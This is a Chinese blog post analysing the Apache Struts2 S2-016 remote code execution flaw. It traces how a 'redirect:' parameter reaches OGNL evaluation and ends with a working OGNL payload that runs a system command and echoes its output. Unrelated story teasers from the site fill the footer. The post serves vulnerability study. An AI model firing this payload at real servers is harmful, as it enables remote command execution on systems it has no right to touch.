【漏洞分析】S2-016远程代码执行漏洞分析

0x01 前言

最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

0x02 漏洞分析

首先到Struts2的官方文档中找一下S2-016漏洞的文档

官方文档

看文档主要是找到该漏洞的版本,由图可知,该漏洞发生在Struts2.0.0 - Struts2.3.15,并且在Struts 2.3.15.1中得到修复,那么我们就将Struts 2.3.15和Struts 2.3.15.3两个版本的源码下载下载

使用Beyond Compare工具进行对比,注意要把比较时间戳的选项去掉


找了半天发现就一处不一样
/core/src/main/java/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java

通过对比,发现 REDIRECT_PREFIX、REDIRECT_ACTION_PREFIX被删掉了


同时他们配套的put方法也被删掉了


还有一个就是action对应的put方法中添加了一个cleanActionName方法


看了一下官方文档给的poc


我选择在redirect配套的put方法中加断点,看看情况是如何的。



在这里,有一个匿名类的用法,同时声明并执行了一个execute函数,看一下监视器中的变量



发现这里传入的key是
redirect:%{3*4}

也就是我传入的参数,那么这部分就是用户可控的地方。继续往下走setLocation方法就是这是重定向的值,最后把用户输入的重定向的值设置为result,result的一般在struts.xml中可以用标签来设置的,这里是用

?redirect:xxx

来设置的。
继续往下走,发现跳出了put方法



发现到了DefaultActionMapper类中的handleSpecialParameters函数中(这里可以记下来,如果后续没有思路的话可以回溯往上再找找看),此处我选择继续往下跟进。
多次step over和step into之后,发现跳到了StrutsPreparedAndExecuteFilter类的doFilter函数中,这个是Struts2的核心过滤器,每个请求都会到达这个类的这个函数中。



step into execute.executeAction中看一下,其中该方法的参数,request和response没什么好说的,mapping是请求的参数,包括redierect的location、Action的名称、namespace等等,继续跟进发现进入Dispatcher类中

其中有一个result.execute,进去看看


发现进入了ServletRedirectResult类的execute方法,其中还要进入他的父类ServletResultSupport的execute方法



继续跟进到conditionalParse方法中



进入到了StrutsResultSupport类中的conditionalParse方法,其中我们看到了translateVariables方法,这个方法其实就是一个可以执行ognl表达式的方法,继续分析一下

getStack()方法返回的就是OgnlValueStack,而param是%{3*4}刚好是我们输入的参数,满足参数可控,继续跟进



进入到了TextParseUtil类中,我们看到第一个参数是
new char[]{'$','%'}

也就是说我们输入%{xxxx}或者${xxx}都可以执行
之后我们进入translateVariables方法中


执行到parser.evaluate的时候跟进入,函数源码如下:

public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int pos = 0;

        for (char open : openChars) {
            int loopCount = 1;
            //this creates an implicit StringBuffer and shouldn't be used in the inner loop
            final String lookupChars = open + "{";

            while (true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    loopCount++;
                    start = expression.indexOf(lookupChars);
                }
                if (loopCount > maxLoopCount) {
                    // translateVariables prevent infinite loop / expression recursive evaluation
                    break;
                }
                int length = expression.length();
                int x = start + 2;
                int end;
                char c;
                int count = 1;
                //检查表达式中的格式是否是%{}或者${},‘{’或者‘}’不能多也不能少
                while (start != -1 && x < length && count != 0) {  
                    c = expression.charAt(x++);
                    if (c == '{') {
                        count++;
                    } else if (c == '}') {
                        count--;
                    }
                }
                end = x - 1;

                if ((start != -1) && (end != -1) && (count == 0)) {
                    String var = expression.substring(start + 2, end); //获取大括号中的内容

                    Object o = evaluator.evaluate(var);//执行了ognl表达式,返回结果

                    String left = expression.substring(0, start);
                    String right = expression.substring(end + 1);
                    String middle = null;
                    if (o != null) {
                        middle = o.toString();
                        if (StringUtils.isEmpty(left)) {
                            result = o;
                        } else {
                            result = left.concat(middle);
                        }

                        if (StringUtils.isNotEmpty(right)) {
                            result = result.toString().concat(right);
                        }

                        expression = left.concat(middle).concat(right);
                    } else {
                        // the variable doesn't exist, so don't display anything
                        expression = left.concat(right);
                        result = expression;
                    }
                    pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                            (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                            1;
                    pos = Math.max(pos, 1);
                } else {
                    break;
                }
            }
        }
        return result;
    }

当执行到这里,再次进入

一路跟进,发现最后由Ognl类的getValue执行了ognl表达式


得到了结果12


0x03 exp编写

${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

注意要进行url编码

0x04 总结

  • translateVariable能够执行ognl表达式
  • org.apache.struts2.dispatcher.StrutsResultSupport类中的conditionalParse能够解析ognl表达式
  • 所有的请求会到StrutsPreparedAndExecute类的doFilter中
  • exp中使用#content.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().printnln()来回显
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,185评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,445评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,684评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,564评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,681评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,874评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,025评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,761评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,217评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,545评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,694评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,351评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,988评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,778评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,007评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,427评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,580评论 2 349

推荐阅读更多精彩内容